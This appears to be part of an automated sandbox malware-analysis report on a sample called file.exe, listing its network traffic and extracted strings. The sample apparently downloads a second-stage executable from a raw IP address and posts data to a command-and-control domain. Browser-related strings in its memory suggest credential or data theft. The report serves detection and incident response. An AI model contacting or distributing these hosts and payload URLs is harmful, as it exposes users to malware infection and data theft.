Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000000.00000002.1735272102.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675937999.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676124429.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.1735076289.0000000000B7A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exep
Source: file.exe, 00000000.00000002.1735272102.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675937999.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: file.exe, 00000000.00000002.1735272102.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675937999.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1513237611.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675937999.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1516525015.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_109.12.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1428699378.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_109.12.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_109.12.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000000.00000003.1513124253.0000000000CED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676124429.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000000.00000003.1382956160.0000000005690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/=&0
Source: file.exe, 00000000.00000003.1475266623.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1513237611.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1475233802.0000000000CED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1474935538.0000000000CED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000000.00000003.1513237611.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api;.EX
Source: chromecache_109.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_109.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1472695243.0000000005685000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1513174027.0000000005683000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1472695243.0000000005685000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1513174027.0000000005683000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_109.12.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_109.12.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_101.12.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_101.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1513174027.0000000005683000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1340890873.00000000056CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340959783.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1472695243.0000000005685000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1472645947.0000000005681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1429760067.00000000057A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
